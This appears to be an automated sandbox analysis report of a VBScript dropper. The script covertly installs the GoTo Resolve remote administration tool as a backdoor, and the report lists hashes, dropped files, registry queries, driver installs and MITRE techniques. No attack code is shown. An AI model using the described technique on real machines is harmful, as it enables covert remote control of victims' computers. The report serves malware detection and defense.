788aebc10f0f489b73a50a1faf86d23515a068c59246bbc6b0f4e6ec8c0c9a19

Analysis

user interaction
yes
max time kernel
208s
max time network
182s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
document.vbs
Size 22KB
Sample260720-pl4qlact7z
SHA256 788aebc10f0f489b73a50a1faf86d23515a068c59246bbc6b0f4e6ec8c0c9a19
MD5 0fc30300e2f3d368d9d32d45cdd6f631
SHA1 58904694f30f605cc7c0a948247c79b701f2df42
SHA512 292fc0c64eed6b4e2a86a77c45fd59a3ff486fdabc1b5dc5247875bf6cab7a993928d2cb01e9b78403eb352735a6eb35263086a4cbf0ac47ba72411728dccbf7
SSDEEP 384:F+DNQJtgjbozbsRadV3izjUdV3mkM/Gkeb6jiQRLhAAbmzdsYZSzbQ0ytgkXAgYf:F+Rv
TLSH
T1C6A241DA4E6EEBA8B6E2CB87DF4DBF82B5E11CE7457C955CD0B8080D5022A6C45D7C20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

backdoor defense_evasion execution persistence rat

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
1420	unattended-updater.exe
5784	GoToResolveUnattended.exe
5764	GoToResolveTools64.exe
4848	GoToResolveCrashHandler.exe
752	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
5496	GoToResolveCrashHandler.exe

GoToResolve remote administration tool 1 IoCs

GoToResolve is a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000d00000001c54d-31.dat	rat_gotoresolve

Loads dropped DLL 21 IoCs

pid	Process
4456	MsiExec.exe
4456	MsiExec.exe
5764	GoToResolveTools64.exe
5784	GoToResolveUnattended.exe
5784	GoToResolveUnattended.exe
5784	GoToResolveUnattended.exe
5784	GoToResolveUnattended.exe
5784	GoToResolveUnattended.exe
5784	GoToResolveUnattended.exe
752	GoToResolveProcessChecker.exe
752	GoToResolveProcessChecker.exe
752	GoToResolveProcessChecker.exe
752	GoToResolveProcessChecker.exe
752	GoToResolveProcessChecker.exe
752	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe
3184	GoToResolveProcessChecker.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2784	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Checks system information in the registry 2 TTPs 8 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	GoToResolveUnattended.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	GoToResolveUnattended.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	GoToResolveTools64.exe

Drops file in System32 directory 25 IoCs

description	ioc	Process
File created	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E5B.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\g2rvdd.inf_amd64_5e96164a846f7842\g2rvdd.cat	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\wvmbusvideo.inf_amd64_c5d85eade837b122\wvmbusvideo.PNF	GoToResolveTools64.exe
File created	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E5A.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}	DrvInst.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\329B6147266C1E26CD774EA22B79EC2E	GoToResolveUnattended.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0E0EA2CD61F757CEB5BB65FC2C758BF4_59B8C30534EA03831AD62B87D9D5F56A	GoToResolveUnattended.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0E0EA2CD61F757CEB5BB65FC2C758BF4_59B8C30534EA03831AD62B87D9D5F56A	GoToResolveUnattended.exe
File created	C:\Windows\System32\DriverStore\drvstore.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\g2rvdd.inf_amd64_5e96164a846f7842\g2rvdd.inf	DrvInst.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\329B6147266C1E26CD774EA22B79EC2E	GoToResolveUnattended.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E59.tmp	DrvInst.exe
File created	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E59.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\g2rvdd.cat	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E5A.tmp	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\g2rvdd.inf	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\g2rvdd.inf_amd64_5e96164a846f7842.ini	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\FileRepository\g2rvdd.inf_amd64_5e96164a846f7842\g2rvdd.dll	DrvInst.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	DrvInst.exe
File created	C:\Windows\System32\DriverStore\FileRepository\vrd.inf_amd64_4dd0e6d66a75bb7e\vrd.PNF	GoToResolveTools64.exe
File created	C:\Windows\System32\DriverStore\FileRepository\c_display.inf_amd64_39696ccdf1e382c7\c_display.PNF	GoToResolveTools64.exe
File created	C:\Windows\System32\DriverStore\FileRepository\displayoverride.inf_amd64_ad2569d6b92e9e9a\displayoverride.PNF	GoToResolveTools64.exe
File created	C:\Windows\System32\DriverStore\FileRepository\rdpidd.inf_amd64_191a331ccc578de7\rdpidd.PNF	GoToResolveTools64.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\g2rvdd.dll	DrvInst.exe
File opened for modification	C:\Windows\System32\DriverStore\Temp\{07bc9f04-8152-9d45-9dac-c7d3af3d9c30}\SET2E5B.tmp	DrvInst.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4816	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMISupport7x32.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\legacy.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x64\g2rvdd.dll	unattended-updater.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\CrashReportDB\metadata	GoToResolveCrashHandler.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\GoToResolveProcessChecker.log	GoToResolveProcessChecker.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMISupport7x64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveTerminal.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\chromium-crashpad.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveLoggerProcess.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LibGoToResolve.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveTools64.exe	unattended-updater.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\CrashReportDB\settings.dat	GoToResolveTools64.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\openssl-openssl.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe.cmd	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\unattended-updater.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnattendedUi.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMISupportM32.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveExternalModuleHandler.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveRegistryEditor.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMISupportM64.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\WebRTC.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\libjingle.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\unattended.json.tmp	GoToResolveUnattended.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\GoToResolveProcessChecker.log	GoToResolveProcessChecker.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMIFilterHook32.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveEventViewer.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\google-flatbuffers.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMIFilterHook64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\pc.json.tmp	GoToResolveProcessChecker.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveService.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnlock64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveFileManager.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x86\g2rvdd.cat	unattended-updater.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\ProcessCheckerCrashReportDB\settings.dat	GoToResolveProcessChecker.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveProcessChecker.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveNetworkChecker.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMIInputHook32.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveCrashHandler.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x64\g2rvdd.inf	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUi.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\libcrypto-3-x64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\PasswordPrivacyDll.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveServiceManager.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\FileManager.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x86\g2rvdd.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x64\g2rvdd.cat	unattended-updater.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\GoToResolveTools64.log	GoToResolveTools64.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\libssl-3-x64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveRemoteControl.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnattended.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\MediaClientLib.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\ProcessCheckerCrashReportDB\settings.dat	GoToResolveProcessChecker.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\unattended.json.tmp	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveUnattendedRemover.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMIscrhook32.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\GoToResolveQuickView.exe	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\x86\g2rvdd.inf	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\CrashReportDB\settings.dat	GoToResolveTools64.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\mandatory.json.tmp	GoToResolveUnattended.exe
File opened for modification	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\appdata\ProcessCheckerCrashReportDB\metadata	GoToResolveCrashHandler.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\LMIInputHook64.dll	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\Thalhammer-jwt-cpp.txt	unattended-updater.exe
File created	C:\Program Files (x86)\GoTo Resolve Unattended\6120534187096108959\licenses\microsoft-gsl.txt	unattended-updater.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF50A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF6A014C2BF086431.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF644.tmp	msiexec.exe
File created	C:\Windows\Installer\e58e9de.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF46DC62115E582047.TMP	msiexec.exe
File created	C:\Windows\inf\oem1.inf	DrvInst.exe
File opened for modification	C:\Windows\Installer\e58e9de.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF0B4.tmp	msiexec.exe
File created	C:\Windows\Installer\e58e9e2.msi	msiexec.exe
File created	C:\Windows\Installer\{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6687C2D045F6BD2B.TMP	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	GoToResolveTools64.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\Installer\SourceHash{0B288A70-DD19-49ED-8379-BB5FBE1ACEE9}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\inf\oem1.inf	DrvInst.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB31E575490262AC9.TMP	msiexec.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5908	sc.exe
4884	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4160	cmd.exe
5988	cmd.exe

Checks SCSI registry key(s) 3 TTPs 32 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	GoToResolveTools64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	GoToResolveTools64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	GoToResolveTools64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	DrvInst.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GoToResolveProcessChecker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoToResolveUnattended.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoToResolveProcessChecker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoToResolveProcessChecker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoToResolveTools64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoToResolveTools64.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoToResolveUnattended.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GoToResolveUnattended.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1640	timeout.exe
2660	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	GoToResolveProcessChecker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Certificates	GoToResolveUnattended.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	GoToResolveProcessChecker.exe
